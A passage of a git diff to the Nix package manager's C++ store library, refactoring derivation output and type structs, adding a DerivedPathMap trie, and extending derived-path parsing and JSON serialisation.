store, std::string_view drvName, std::string_view outputName) const; -}; - -/* Floating-output derivations, whose output paths are content addressed, but - not fixed, and so are dynamically calculated from whatever the output ends - up being. */ -struct DerivationOutputCAFloating -{ - /* information used for expected hash computation */ - FileIngestionMethod method; - HashType hashType; -}; - -/* Input-addressed output which depends on a (CA) derivation whose hash isn't - * known yet. +/** + * A single output of a BasicDerivation (and Derivation). */ -struct DerivationOutputDeferred {}; - -/* Impure output which is moved to a content-addressed location (like - CAFloating) but isn't registered as a realization. - */ -struct DerivationOutputImpure +struct DerivationOutput { - /* information used for expected hash computation */ - FileIngestionMethod method; - HashType hashType; -}; + /** + * The traditional non-fixed-output derivation type. + */ + struct InputAddressed + { + StorePath path; -typedef std::variant< - DerivationOutputInputAddressed, - DerivationOutputCAFixed, - DerivationOutputCAFloating, - DerivationOutputDeferred, - DerivationOutputImpure -> _DerivationOutputRaw; + bool operator == (const InputAddressed &) const = default; + auto operator <=> (const InputAddressed &) const = default; + }; -struct DerivationOutput : _DerivationOutputRaw -{ - using Raw = _DerivationOutputRaw; - using Raw::Raw; + /** + * Fixed-output derivations, whose output paths are content + * addressed according to that fixed output. + */ + struct CAFixed + { + /** + * Method and hash used for expected hash computation. + * + * References are not allowed by fiat. + */ + ContentAddress ca; - using InputAddressed = DerivationOutputInputAddressed; - using CAFixed = DerivationOutputCAFixed; - using CAFloating = DerivationOutputCAFloating; - using Deferred = DerivationOutputDeferred; - using Impure = DerivationOutputImpure; + /** + * Return the \ref StorePath "store path" corresponding to this output + * + * @param drvName The name of the derivation this is an output of, without the `.drv`. + * @param outputName The name of this output. + */ + StorePath path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const; - /* Note, when you use this function you should make sure that you're passing - the right derivation name. When in doubt, you should use the safer - interface provided by BasicDerivation::outputsAndOptPaths */ - std::optional path(const Store & store, std::string_view drvName, std::string_view outputName) const; + bool operator == (const CAFixed &) const = default; + auto operator <=> (const CAFixed &) const = default; + }; - inline const Raw & raw() const { - return static_cast(*this); - } + /** + * Floating-output derivations, whose output paths are content + * addressed, but not fixed, and so are dynamically calculated from + * whatever the output ends up being. + * */ + struct CAFloating + { + /** + * How the file system objects will be serialized for hashing + */ + ContentAddressMethod method; + + /** + * How the serialization will be hashed + */ + HashAlgorithm hashAlgo; + + bool operator == (const CAFloating &) const = default; + auto operator <=> (const CAFloating &) const = default; + }; + + /** + * Input-addressed output which depends on a (CA) derivation whose hash + * isn't known yet. + */ + struct Deferred { + bool operator == (const Deferred &) const = default; + auto operator <=> (const Deferred &) const = default; + }; + + /** + * Impure output which is moved to a content-addressed location (like + * CAFloating) but isn't registered as a realization. + */ + struct Impure + { + /** + * How the file system objects will be serialized for hashing + */ + ContentAddressMethod method; + + /** + * How the serialization will be hashed + */ + HashAlgorithm hashAlgo; + + bool operator == (const Impure &) const = default; + auto operator <=> (const Impure &) const = default; + }; + + typedef std::variant< + InputAddressed, + CAFixed, + CAFloating, + Deferred, + Impure + > Raw; + + Raw raw; + + bool operator == (const DerivationOutput &) const = default; + auto operator <=> (const DerivationOutput &) const = default; + + MAKE_WRAPPER_CONSTRUCTOR(DerivationOutput); + + /** + * Force choosing a variant + */ + DerivationOutput() = delete; + + /** + * \note when you use this function you should make sure that you're + * passing the right derivation name. When in doubt, you should use + * the safer interface provided by + * BasicDerivation::outputsAndOptPaths + */ + std::optional path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const; + + nlohmann::json toJSON( + const StoreDirConfig & store, + std::string_view drvName, + OutputNameView outputName) const; + /** + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static DerivationOutput fromJSON( + const StoreDirConfig & store, + std::string_view drvName, + OutputNameView outputName, + const nlohmann::json & json, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); }; typedef std::map DerivationOutputs; -/* These are analogues to the previous DerivationOutputs data type, but they - also contains, for each output, the (optional) store path in which it would - be written. To calculate values of these types, see the corresponding - functions in BasicDerivation */ +/** + * These are analogues to the previous DerivationOutputs data type, + * but they also contains, for each output, the (optional) store + * path in which it would be written. To calculate values of these + * types, see the corresponding functions in BasicDerivation. + */ typedef std::map>> DerivationOutputsAndOptPaths; -/* For inputs that are sub-derivations, we specify exactly which - output IDs we are interested in. */ +/** + * For inputs that are sub-derivations, we specify exactly which + * output IDs we are interested in. + */ typedef std::map DerivationInputs; -struct DerivationType_InputAddressed { - bool deferred; -}; +struct DerivationType { + /** + * Input-addressed derivation types + */ + struct InputAddressed { + /** + * True iff the derivation type can't be determined statically, + * for instance because it (transitively) depends on a content-addressed + * derivation. + */ + bool deferred; -struct DerivationType_ContentAddressed { - bool sandboxed; - bool fixed; -}; + bool operator == (const InputAddressed &) const = default; + auto operator <=> (const InputAddressed &) const = default; + }; -struct DerivationType_Impure { -}; + /** + * Content-addressed derivation types + */ + struct ContentAddressed { + /** + * Whether the derivation should be built safely inside a sandbox. + */ + bool sandboxed; + /** + * Whether the derivation's outputs' content-addresses are "fixed" + * or "floating". + * + * - Fixed: content-addresses are written down as part of the + * derivation itself. If the outputs don't end up matching the + * build fails. + * + * - Floating: content-addresses are not written down, we do not + * know them until we perform the build. + */ + bool fixed; -typedef std::variant< - DerivationType_InputAddressed, - DerivationType_ContentAddressed, - DerivationType_Impure -> _DerivationTypeRaw; + bool operator == (const ContentAddressed &) const = default; + auto operator <=> (const ContentAddressed &) const = default; + }; -struct DerivationType : _DerivationTypeRaw { - using Raw = _DerivationTypeRaw; - using Raw::Raw; - using InputAddressed = DerivationType_InputAddressed; - using ContentAddressed = DerivationType_ContentAddressed; - using Impure = DerivationType_Impure; + /** + * Impure derivation type + * + * This is similar at buil-time to the content addressed, not standboxed, not fixed + * type, but has some restrictions on its usage. + */ + struct Impure { + bool operator == (const Impure &) const = default; + auto operator <=> (const Impure &) const = default; + }; - /* Do the outputs of the derivation have paths calculated from their content, - or from the derivation itself? */ + typedef std::variant< + InputAddressed, + ContentAddressed, + Impure + > Raw; + + Raw raw; + + bool operator == (const DerivationType &) const = default; + auto operator <=> (const DerivationType &) const = default; + + MAKE_WRAPPER_CONSTRUCTOR(DerivationType); + + /** + * Force choosing a variant + */ + DerivationType() = delete; + + /** + * Do the outputs of the derivation have paths calculated from their + * content, or from the derivation itself? + */ bool isCA() const; - /* Is the content of the outputs fixed a-priori via a hash? Never true for - non-CA derivations. */ + /** + * Is the content of the outputs fixed a priori via a hash? + * Never true for non-CA derivations. + */ bool isFixed() const; - /* Whether the derivation is fully sandboxed. If false, the - sandbox is opened up, e.g. the derivation has access to the - network. Note that whether or not we actually sandbox the - derivation is controlled separately. Always true for non-CA - derivations. */ + /** + * Whether the derivation is fully sandboxed. If false, the sandbox + * is opened up, e.g. the derivation has access to the network. Note + * that whether or not we actually sandbox the derivation is + * controlled separately. Always true for non-CA derivations. + */ bool isSandboxed() const; - /* Whether the derivation is expected to produce the same result - every time, and therefore it only needs to be built once. This - is only false for derivations that have the attribute '__impure - = true'. */ - bool isPure() const; + /** + * Whether the derivation is expected to produce a different result + * every time, and therefore it needs to be rebuilt every time. This is + * only true for derivations that have the attribute '__impure = + * true'. + * + * Non-impure derivations can still behave impurely, to the degree permitted + * by the sandbox. Hence why this method isn't `isPure`: impure derivations + * are not the negation of pure derivations. Purity can not be ascertained + * except by rather heavy tools. + */ + bool isImpure() const; - /* Does the derivation knows its own output paths? - Only true when there's no floating-ca derivation involved in the - closure, or if fixed output. + /** + * Does the derivation knows its own output paths? + * Only true when there's no floating-ca derivation involved in the + * closure, or if fixed output. */ bool hasKnownOutputPaths() const; - - inline const Raw & raw() const { - return static_cast(*this); - } }; struct BasicDerivation { - DerivationOutputs outputs; /* keyed on symbolic IDs */ - StorePathSet inputSrcs; /* inputs that are sources */ + /** + * keyed on symbolic IDs + */ + DerivationOutputs outputs; + /** + * inputs that are sources + */ + StorePathSet inputSrcs; std::string platform; Path builder; Strings args; @@ -169,155 +302,219 @@ struct BasicDerivation bool isBuiltin() const; - /* Return true iff this is a fixed-output derivation. */ + /** + * Return true iff this is a fixed-output derivation. + */ DerivationType type() const; - /* Return the output names of a derivation. */ + /** + * Return the output names of a derivation. + */ StringSet outputNames() const; - /* Calculates the maps that contains all the DerivationOutputs, but - augmented with knowledge of the Store paths they would be written - into. */ - DerivationOutputsAndOptPaths outputsAndOptPaths(const Store & store) const; + /** + * Calculates the maps that contains all the DerivationOutputs, but + * augmented with knowledge of the Store paths they would be written + * into. + */ + DerivationOutputsAndOptPaths outputsAndOptPaths(const StoreDirConfig & store) const; static std::string_view nameFromPath(const StorePath & storePath); + + bool operator == (const BasicDerivation &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=> (const BasicDerivation &) const = default; }; +class Store; + struct Derivation : BasicDerivation { - DerivationInputs inputDrvs; /* inputs that are sub-derivations */ + /** + * inputs that are sub-derivations + */ + DerivedPathMap> inputDrvs; - /* Print a derivation. */ - std::string unparse(const Store & store, bool maskOutputs, - std::map * actualInputs = nullptr) const; + /** + * Print a derivation. + */ + std::string unparse(const StoreDirConfig & store, bool maskOutputs, + DerivedPathMap::ChildNode::Map * actualInputs = nullptr) const; - /* Return the underlying basic derivation but with these changes: + /** + * Return the underlying basic derivation but with these changes: + * + * 1. Input drvs are emptied, but the outputs of them that were used + * are added directly to input sources. + * + * 2. Input placeholders are replaced with realized input store + * paths. + */ + std::optional tryResolve(Store & store, Store * evalStore = nullptr) const; - 1. Input drvs are emptied, but the outputs of them that were used are - added directly to input sources. - - 2. Input placeholders are replaced with realized input store paths. */ - std::optional tryResolve(Store & store) const; - - /* Like the above, but instead of querying the Nix database for - realisations, uses a given mapping from input derivation paths - + output names to actual output store paths. */ + /** + * Like the above, but instead of querying the Nix database for + * realisations, uses a given mapping from input derivation paths + + * output names to actual output store paths. + */ std::optional tryResolve( Store & store, const std::map, StorePath> & inputDrvOutputs) const; + /** + * Check that the derivation is valid and does not present any + * illegal states. + * + * This is mainly a matter of checking the outputs, where our C++ + * representation supports all sorts of combinations we do not yet + * allow. + */ + void checkInvariants(Store & store, const StorePath & drvPath) const; + Derivation() = default; Derivation(const BasicDerivation & bd) : BasicDerivation(bd) { } Derivation(BasicDerivation && bd) : BasicDerivation(std::move(bd)) { } + + nlohmann::json toJSON(const StoreDirConfig & store) const; + static Derivation fromJSON( + const StoreDirConfig & store, + const nlohmann::json & json, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + + bool operator == (const Derivation &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=> (const Derivation &) const = default; }; class Store; -/* Write a derivation to the Nix store, and return its path. */ +/** + * Write a derivation to the Nix store, and return its path. + */ StorePath writeDerivation(Store & store, const Derivation & drv, RepairFlag repair = NoRepair, bool readOnly = false); -/* Read a derivation from a file. */ -Derivation parseDerivation(const Store & store, std::string && s, std::string_view name); +/** + * Read a derivation from a file. + */ +Derivation parseDerivation( + const StoreDirConfig & store, + std::string && s, + std::string_view name, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); -// FIXME: remove +/** + * \todo Remove. + * + * Use Path::isDerivation instead. + */ bool isDerivation(std::string_view fileName); -/* Calculate the name that will be used for the store path for this - output. - - This is usually -, but is just when - the output name is "out". */ -std::string outputPathName(std::string_view drvName, std::string_view outputName); +/** + * Calculate the name that will be used for the store path for this + * output. + * + * This is usually -, but is just when + * the output name is "out". + */ +std::string outputPathName(std::string_view drvName, OutputNameView outputName); -// The hashes modulo of a derivation. -// -// Each output is given a hash, although in practice only the content-addressed -// derivations (fixed-output or not) will have a different hash for each -// output. +/** + * The hashes modulo of a derivation. + * + * Each output is given a hash, although in practice only the content-addressed + * derivations (fixed-output or not) will have a different hash for each + * output. + */ struct DrvHash { + /** + * Map from output names to hashes + */ std::map hashes; enum struct Kind : bool { - // Statically determined derivations. - // This hash will be directly used to compute the output paths + /** + * Statically determined derivations. + * This hash will be directly used to compute the output paths + */ Regular, - // Floating-output derivations (and their reverse dependencies). + + /** + * Floating-output derivations (and their reverse dependencies). + */ Deferred, }; + /** + * The kind of derivation this is, simplified for just "derivation hash + * modulo" purposes. + */ Kind kind; }; void operator |= (DrvHash::Kind & self, const DrvHash::Kind & other) noexcept; -/* Returns hashes with the details of fixed-output subderivations - expunged. - - A fixed-output derivation is a derivation whose outputs have a - specified content hash and hash algorithm. (Currently they must have - exactly one output (`out'), which is specified using the `outputHash' - and `outputHashAlgo' attributes, but the algorithm doesn't assume - this.) We don't want changes to such derivations to propagate upwards - through the dependency graph, changing output paths everywhere. - - For instance, if we change the url in a call to the `fetchurl' - function, we do not want to rebuild everything depending on it---after - all, (the hash of) the file being downloaded is unchanged. So the - *output paths* should not change. On the other hand, the *derivation - paths* should change to reflect the new dependency graph. - - For fixed-output derivations, this returns a map from the name of - each output to its hash, unique up to the output's contents. - - For regular derivations, it returns a single hash of the derivation - ATerm, after subderivations have been likewise expunged from that - derivation. +/** + * Returns hashes with the details of fixed-output subderivations + * expunged. + * + * A fixed-output derivation is a derivation whose outputs have a + * specified content hash and hash algorithm. (Currently they must have + * exactly one output (`out`), which is specified using the `outputHash` + * and `outputHashAlgo` attributes, but the algorithm doesn't assume + * this.) We don't want changes to such derivations to propagate upwards + * through the dependency graph, changing output paths everywhere. + * + * For instance, if we change the url in a call to the `fetchurl` + * function, we do not want to rebuild everything depending on it---after + * all, (the hash of) the file being downloaded is unchanged. So the + * *output paths* should not change. On the other hand, the *derivation + * paths* should change to reflect the new dependency graph. + * + * For fixed-output derivations, this returns a map from the name of + * each output to its hash, unique up to the output's contents. + * + * For regular derivations, it returns a single hash of the derivation + * ATerm, after subderivations have been likewise expunged from that + * derivation. */ DrvHash hashDerivationModulo(Store & store, const Derivation & drv, bool maskOutputs); -/* - Return a map associating each output to a hash that uniquely identifies its - derivation (modulo the self-references). - - FIXME: what is the Hash in this map? +/** + * Return a map associating each output to a hash that uniquely identifies its + * derivation (modulo the self-references). + * + * \todo What is the Hash in this map? */ std::map staticOutputHashes(Store & store, const Derivation & drv); -/* Memoisation of hashDerivationModulo(). */ +/** + * Memoisation of hashDerivationModulo(). + */ typedef std::map DrvHashes; // FIXME: global, though at least thread-safe. extern Sync drvHashes; -bool wantOutput(const std::string & output, const std::set & wanted); - struct Source; struct Sink; -Source & readDerivation(Source & in, const Store & store, BasicDerivation & drv, std::string_view name); -void writeDerivation(Sink & out, const Store & store, const BasicDerivation & drv); +Source & readDerivation(Source & in, const StoreDirConfig & store, BasicDerivation & drv, std::string_view name); +void writeDerivation(Sink & out, const StoreDirConfig & store, const BasicDerivation & drv); -/* This creates an opaque and almost certainly unique string - deterministically from the output name. - - It is used as a placeholder to allow derivations to refer to their - own outputs without needing to use the hash of a derivation in - itself, making the hash near-impossible to calculate. */ -std::string hashPlaceholder(const std::string_view outputName); - -/* This creates an opaque and almost certainly unique string - deterministically from a derivation path and output name. - - It is used as a placeholder to allow derivations to refer to - content-addressed paths whose content --- and thus the path - themselves --- isn't yet known. This occurs when a derivation has a - dependency which is a CA derivation. */ -std::string downstreamPlaceholder(const Store & store, const StorePath & drvPath, std::string_view outputName); +/** + * This creates an opaque and almost certainly unique string + * deterministically from the output name. + * + * It is used as a placeholder to allow derivations to refer to their + * own outputs without needing to use the hash of a derivation in + * itself, making the hash near-impossible to calculate. + */ +std::string hashPlaceholder(const OutputNameView outputName); extern const Hash impureOutputHash; diff --git a/src/libstore/derived-path-map.cc b/src/libstore/derived-path-map.cc new file mode 100644 index 000000000..c97d52773 --- /dev/null +++ b/src/libstore/derived-path-map.cc @@ -0,0 +1,71 @@ +#include "derived-path-map.hh" +#include "util.hh" + +namespace nix { + +template +typename DerivedPathMap::ChildNode & DerivedPathMap::ensureSlot(const SingleDerivedPath & k) +{ + std::function initIter; + initIter = [&](const auto & k) -> auto & { + return std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & bo) -> auto & { + // will not overwrite if already there + return map[bo.path]; + }, + [&](const SingleDerivedPath::Built & bfd) -> auto & { + auto & n = initIter(*bfd.drvPath); + return n.childMap[bfd.output]; + }, + }, k.raw()); + }; + return initIter(k); +} + +template +typename DerivedPathMap::ChildNode * DerivedPathMap::findSlot(const SingleDerivedPath & k) +{ + std::function initIter; + initIter = [&](const auto & k) { + return std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & bo) { + auto it = map.find(bo.path); + return it != map.end() + ? &it->second + : nullptr; + }, + [&](const SingleDerivedPath::Built & bfd) { + auto * n = initIter(*bfd.drvPath); + if (!n) return (ChildNode *)nullptr; + + auto it = n->childMap.find(bfd.output); + return it != n->childMap.end() + ? &it->second + : nullptr; + }, + }, k.raw()); + }; + return initIter(k); +} + +} + +// instantiations + +namespace nix { + +template<> +bool DerivedPathMap>::ChildNode::operator == ( + const DerivedPathMap>::ChildNode &) const noexcept = default; + +// TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. +#if 0 +template<> +std::strong_ordering DerivedPathMap>::ChildNode::operator <=> ( + const DerivedPathMap>::ChildNode &) const noexcept = default; +#endif + +template struct DerivedPathMap>::ChildNode; +template struct DerivedPathMap>; + +}; diff --git a/src/libstore/derived-path-map.hh b/src/libstore/derived-path-map.hh new file mode 100644 index 000000000..bd60fe887 --- /dev/null +++ b/src/libstore/derived-path-map.hh @@ -0,0 +1,110 @@ +#pragma once +///@file + +#include "types.hh" +#include "derived-path.hh" + +namespace nix { + +/** + * A simple Trie, of sorts. Conceptually a map of `SingleDerivedPath` to + * values. + * + * Concretely, an n-ary tree, as described below. A + * `SingleDerivedPath::Opaque` maps to the value of an immediate child + * of the root node. A `SingleDerivedPath::Built` maps to a deeper child + * node: the `SingleDerivedPath::Built::drvPath` is first mapped to a a + * child node (inductively), and then the + * `SingleDerivedPath::Built::output` is used to look up that child's + * child via its map. In this manner, every `SingleDerivedPath` is + * mapped to a child node. + * + * @param V A type to instantiate for each output. It should probably + * should be an "optional" type so not every interior node has to have a + * value. `* const Something` or `std::optional` would be + * good choices for "optional" types. + */ +template +struct DerivedPathMap { + /** + * A child node (non-root node). + */ + struct ChildNode { + /** + * Value of this child node. + * + * @see DerivedPathMap for what `V` should be. + */ + V value; + + /** + * The map type for the root node. + */ + using Map = std::map; + + /** + * The map of the root node. + */ + Map childMap; + + bool operator == (const ChildNode &) const noexcept; + + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + // decltype(std::declval() <=> std::declval()) + // operator <=> (const ChildNode &) const noexcept; + }; + + /** + * The map type for the root node. + */ + using Map = std::map; + + /** + * The map of root node. + */ + Map map; + + bool operator == (const DerivedPathMap &) const = default; + + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + // auto operator <=> (const DerivedPathMap &) const noexcept; + + /** + * Find the node for `k`, creating it if needed. + * + * The node is referred to as a "slot" on the assumption that `V` is + * some sort of optional type, so the given key can be set or unset + * by changing this node. + */ + ChildNode & ensureSlot(const SingleDerivedPath & k); + + /** + * Like `ensureSlot` but does not create the slot if it doesn't exist. + * + * Read the entire description of `ensureSlot` to understand an + * important caveat here that "have slot" does *not* imply "key is + * set in map". To ensure a key is set one would need to get the + * child node (with `findSlot` or `ensureSlot`) *and* check the + * `ChildNode::value`. + */ + ChildNode * findSlot(const SingleDerivedPath & k); +}; + +template<> +bool DerivedPathMap>::ChildNode::operator == ( + const DerivedPathMap>::ChildNode &) const noexcept; + +// TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. +#if 0 +template<> +std::strong_ordering DerivedPathMap>::ChildNode::operator <=> ( + const DerivedPathMap>::ChildNode &) const noexcept; + +template<> +inline auto DerivedPathMap>::operator <=> (const DerivedPathMap> &) const noexcept = default; +#endif + +extern template struct DerivedPathMap>::ChildNode; +extern template struct DerivedPathMap>; + +} diff --git a/src/libstore/derived-path.cc b/src/libstore/derived-path.cc index 3fa5ae4f7..1eef881de 100644 --- a/src/libstore/derived-path.cc +++ b/src/libstore/derived-path.cc @@ -1,6 +1,7 @@ #include "derived-path.hh" #include "derivations.hh" #include "store-api.hh" +#include "comparator.hh" #include @@ -8,127 +9,302 @@ namespace nix { -nlohmann::json DerivedPath::Opaque::toJSON(ref store) const { +// Custom implementation to avoid `ref` ptr equality +GENERATE_CMP_EXT( + , + std::strong_ordering, + SingleDerivedPathBuilt, + *me->drvPath, + me->output); + +// Custom implementation to avoid `ref` ptr equality + +// TODO no `GENERATE_CMP_EXT` because no `std::set::operator<=>` on +// Darwin, per header. +GENERATE_EQUAL( + , + DerivedPathBuilt ::, + DerivedPathBuilt, + *me->drvPath, + me->outputs); +GENERATE_ONE_CMP( + , + bool, + DerivedPathBuilt ::, + <, + DerivedPathBuilt, + *me->drvPath, + me->outputs); + +nlohmann::json DerivedPath::Opaque::toJSON(const StoreDirConfig & store) const +{ + return store.printStorePath(path); +} + +nlohmann::json SingleDerivedPath::Built::toJSON(Store & store) const { nlohmann::json res; - res["path"] = store->printStorePath(path); + res["drvPath"] = drvPath->toJSON(store); + // Fallback for the input-addressed derivation case: We expect to always be + // able to print the output paths, so let’s do it + // FIXME try-resolve on drvPath + const auto outputMap = store.queryPartialDerivationOutputMap(resolveDerivedPath(store, *drvPath)); + res["output"] = output; + auto outputPathIter = outputMap.find(output); + if (outputPathIter == outputMap.end()) + res["outputPath"] = nullptr; + else if (std::optional p = outputPathIter->second) + res["outputPath"] = store.printStorePath(*p); + else + res["outputPath"] = nullptr; return res; } -nlohmann::json DerivedPath::Built::toJSON(ref store) const { +nlohmann::json DerivedPath::Built::toJSON(Store & store) const { nlohmann::json res; - res["drvPath"] = store->printStorePath(drvPath); + res["drvPath"] = drvPath->toJSON(store); // Fallback for the input-addressed derivation case: We expect to always be // able to print the output paths, so let’s do it - const auto knownOutputs = store->queryPartialDerivationOutputMap(drvPath); - for (const auto & output : outputs) { - auto knownOutput = get(knownOutputs, output); - if (knownOutput && *knownOutput) - res["outputs"][output] = store->printStorePath(**knownOutput); + // FIXME try-resolve on drvPath + const auto outputMap = store.queryPartialDerivationOutputMap(resolveDerivedPath(store, *drvPath)); + for (const auto & [output, outputPathOpt] : outputMap) { + if (!outputs.contains(output)) continue; + if (outputPathOpt) + res["outputs"][output] = store.printStorePath(*outputPathOpt); else res["outputs"][output] = nullptr; } return res; } -nlohmann::json BuiltPath::Built::toJSON(ref store) const { - nlohmann::json res; - res["drvPath"] = store->printStorePath(drvPath); - for (const auto& [output, path] : outputs) { - res["outputs"][output] = store->printStorePath(path); - } - return res; -} - -StorePathSet BuiltPath::outPaths() const +nlohmann::json SingleDerivedPath::toJSON(Store & store) const { - return std::visit( - overloaded{ - [](const BuiltPath::Opaque & p) { return StorePathSet{p.path}; }, - [](const BuiltPath::Built & b) { - StorePathSet res; - for (auto & [_, path] : b.outputs) - res.insert(path); - return res; - }, - }, raw() - ); + return std::visit([&](const auto & buildable) { + return buildable.toJSON(store); + }, raw()); } -std::string DerivedPath::Opaque::to_string(const Store & store) const +nlohmann::json DerivedPath::toJSON(Store & store) const +{ + return std::visit([&](const auto & buildable) { + return buildable.toJSON(store); + }, raw()); +} + +std::string DerivedPath::Opaque::to_string(const StoreDirConfig & store) const { return store.printStorePath(path); } -std::string DerivedPath::Built::to_string(const Store & store) const +std::string SingleDerivedPath::Built::to_string(const StoreDirConfig & store) const { - return store.printStorePath(drvPath) - + "!" - + (outputs.empty() ? std::string { "*" } : concatStringsSep(",", outputs)); + return drvPath->to_string(store) + "^" + output; } -std::string DerivedPath::to_string(const Store & store) const +std::string SingleDerivedPath::Built::to_string_legacy(const StoreDirConfig & store) const +{ + return drvPath->to_string(store) + "!" + output; +} + +std::string DerivedPath::Built::to_string(const StoreDirConfig & store) const +{ + return drvPath->to_string(store) + + '^' + + outputs.to_string(); +} + +std::string DerivedPath::Built::to_string_legacy(const StoreDirConfig & store) const +{ + return drvPath->to_string_legacy(store) + + "!" + + outputs.to_string(); +} + +std::string SingleDerivedPath::to_string(const StoreDirConfig & store) const { return std::visit( [&](const auto & req) { return req.to_string(store); }, - this->raw()); + raw()); +} + +std::string DerivedPath::to_string(const StoreDirConfig & store) const +{ + return std::visit( + [&](const auto & req) { return req.to_string(store); }, + raw()); +} + +std::string SingleDerivedPath::to_string_legacy(const StoreDirConfig & store) const +{ + return std::visit(overloaded { + [&](const SingleDerivedPath::Built & req) { return req.to_string_legacy(store); }, + [&](const SingleDerivedPath::Opaque & req) { return req.to_string(store); }, + }, this->raw()); +} + +std::string DerivedPath::to_string_legacy(const StoreDirConfig & store) const +{ + return std::visit(overloaded { + [&](const DerivedPath::Built & req) { return req.to_string_legacy(store); }, + [&](const DerivedPath::Opaque & req) { return req.to_string(store); }, + }, this->raw()); } -DerivedPath::Opaque DerivedPath::Opaque::parse(const Store & store, std::string_view s) +DerivedPath::Opaque DerivedPath::Opaque::parse(const StoreDirConfig & store, std::string_view s) { return {store.parseStorePath(s)}; } -DerivedPath::Built DerivedPath::Built::parse(const Store & store, std::string_view drvS, std::string_view outputsS) +void drvRequireExperiment( + const SingleDerivedPath & drv, + const ExperimentalFeatureSettings & xpSettings) { - auto drvPath = store.parseStorePath(drvS); - std::set outputs; - if (outputsS != "*") { - outputs = tokenizeString>(outputsS, ","); - if (outputs.empty()) - throw Error( - "Explicit list of wanted outputs '%s' must not be empty. Consider using '*' as a wildcard meaning all outputs if no output in particular is wanted.", outputsS); - } - return {drvPath, outputs}; + std::visit(overloaded { + [&](const SingleDerivedPath::Opaque &) { + // plain drv path; no experimental features required. + }, + [&](const SingleDerivedPath::Built &) { + xpSettings.require(Xp::DynamicDerivations); + }, + }, drv.raw()); } -DerivedPath DerivedPath::parse(const Store & store, std::string_view s) +SingleDerivedPath::Built SingleDerivedPath::Built::parse( + const StoreDirConfig & store, ref drv, + OutputNameView output, + const ExperimentalFeatureSettings & xpSettings) { - size_t n = s.find("!"); + drvRequireExperiment(*drv, xpSettings); + return { + .drvPath = drv, + .output = std::string { output }, + }; +} + +DerivedPath::Built DerivedPath::Built::parse( + const StoreDirConfig & store, ref drv, + OutputNameView outputsS, + const ExperimentalFeatureSettings & xpSettings) +{ + drvRequireExperiment(*drv, xpSettings); + return { + .drvPath = drv, + .outputs = OutputsSpec::parse(outputsS), + }; +} + +static SingleDerivedPath parseWithSingle( + const StoreDirConfig & store, std::string_view s, std::string_view separator, + const ExperimentalFeatureSettings & xpSettings) +{ + size_t n = s.rfind(separator); + return n == s.npos + ? (SingleDerivedPath) SingleDerivedPath::Opaque::parse(store, s) + : (SingleDerivedPath) SingleDerivedPath::Built::parse(store, + make_ref(parseWithSingle( + store, + s.substr(0, n), + separator, + xpSettings)), + s.substr(n + 1), + xpSettings); +} + +SingleDerivedPath SingleDerivedPath::parse( + const StoreDirConfig & store, + std::string_view s, + const ExperimentalFeatureSettings & xpSettings) +{ + return parseWithSingle(store, s, "^", xpSettings); +} + +SingleDerivedPath SingleDerivedPath::parseLegacy( + const StoreDirConfig & store, + std::string_view s, + const ExperimentalFeatureSettings & xpSettings) +{ + return parseWithSingle(store, s, "!", xpSettings); +} + +static DerivedPath parseWith( + const StoreDirConfig & store, std::string_view s, std::string_view separator, + const ExperimentalFeatureSettings & xpSettings) +{ + size_t n = s.rfind(separator); return n == s.npos ? (DerivedPath) DerivedPath::Opaque::parse(store, s) - : (DerivedPath) DerivedPath::Built::parse(store, s.substr(0, n), s.substr(n + 1)); + : (DerivedPath) DerivedPath::Built::parse(store, + make_ref(parseWithSingle( + store, + s.substr(0, n), + separator, + xpSettings)), + s.substr(n + 1), + xpSettings); } -RealisedPath::Set BuiltPath::toRealisedPaths(Store & store) const +DerivedPath DerivedPath::parse( + const StoreDirConfig & store, + std::string_view s, + const ExperimentalFeatureSettings & xpSettings) { - RealisedPath::Set res; - std::visit( - overloaded{ - [&](const BuiltPath::Opaque & p) { res.insert(p.path); }, - [&](const BuiltPath::Built & p) { - auto drvHashes = - staticOutputHashes(store, store.readDerivation(p.drvPath)); - for (auto& [outputName, outputPath] : p.outputs) { - if (settings.isExperimentalFeatureEnabled( - Xp::CaDerivations)) { - auto drvOutput = get(drvHashes, outputName); - if (!drvOutput) - throw Error( - "the derivation '%s' has unrealised output '%s' (derived-path.cc/toRealisedPaths)", - store.printStorePath(p.drvPath), outputName); - auto thisRealisation = store.queryRealisation( - DrvOutput{*drvOutput, outputName}); - assert(thisRealisation); // We’ve built it, so we must - // have the realisation - res.insert(*thisRealisation); - } else { - res.insert(outputPath); - } - } - }, + return parseWith(store, s, "^", xpSettings); +} + +DerivedPath DerivedPath::parseLegacy( + const StoreDirConfig & store, + std::string_view s, + const ExperimentalFeatureSettings & xpSettings) +{ + return parseWith(store, s, "!", xpSettings); +} + +DerivedPath DerivedPath::fromSingle(const SingleDerivedPath & req) +{ + return std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & o) -> DerivedPath { + return o; }, - raw()); - return res; + [&](const SingleDerivedPath::Built & b) -> DerivedPath { + return DerivedPath::Built { + .drvPath = b.drvPath, + .outputs = OutputsSpec::Names { b.output }, + }; + }, + }, req.raw()); } + +const StorePath & SingleDerivedPath::Built::getBaseStorePath() const +{ + return drvPath->getBaseStorePath(); +} + +const StorePath & DerivedPath::Built::getBaseStorePath() const +{ + return drvPath->getBaseStorePath(); +} + +template +static inline const StorePath & getBaseStorePath_(const DP & derivedPath) +{ + return std::visit(overloaded { + [&](const typename DP::Built & bfd) -> auto & { + return bfd.drvPath->getBaseStorePath(); + }, + [&](const typename DP::Opaque & bo) -> auto & { + return bo.path; + }, + }, derivedPath.raw()); +} + +const StorePath & SingleDerivedPath::getBaseStorePath() const +{ + return getBaseStorePath_(*this); +} + +const StorePath & 